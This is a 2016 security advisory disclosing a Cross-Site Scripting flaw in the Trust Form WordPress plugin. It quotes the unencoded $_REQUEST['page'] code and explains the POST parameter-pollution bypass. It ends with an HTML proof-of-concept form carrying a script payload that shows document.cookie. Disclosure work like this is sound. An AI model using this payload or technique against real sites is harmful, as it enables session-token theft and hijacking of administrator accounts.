Advisory

Yorick Koster, July 2016

Cross-Site Scripting vulnerability in Trust Form WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Trust Form WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160712-0018

Tested versions

This issue was successfully tested on Trust Form WordPress Plugin version 2.0.

Fix

There is currently no fix available.

Introduction

The Trust Form WordPress Plugin is a contact form with confirmation screen and mail and data base support. A Cross-Site Scripting vulnerability was found in the Trust Form WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Details

The issue exists in several PHP files and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

edit-list.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />

entries-list.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"; />

trust-form.php:

$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
   
[...]
   
$read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
   
[...]
   
$read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
   
[...]
   
$new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$delete_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'delete', $this->id, $item['ID'] );
   
[...]
   
$restore_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'untrash',$this->id, $item['ID'] );
   
[...]
   
$trash_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'trash', $item['ID'] );
   
[...]
   
$duplicate_url = sprintf( '?page=%s&action=%s&form=%s', $_REQUEST['page'], 'duplicate', $item['ID'] );
   
[...]
   
'edit' => sprintf( '<a href="?page=%s&action=%s&form=%s">' .__( 'Edit', TRUST_FORM_DOMAIN ). '</a>', $_REQUEST['page'], 'edit', $item['ID'] ),
   
[...]
   
$delete_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'delete', $item['ID'] );
   
[...]
   
$restore_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'untrash', $item['ID'] );

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
   <body>
      <form action="http://192.168.146.137/wp-admin/admin.php?page=trust-form-edit" method="POST">
         <input type="hidden" name="page" value="&quot;<script>alert(document.cookie);</script>" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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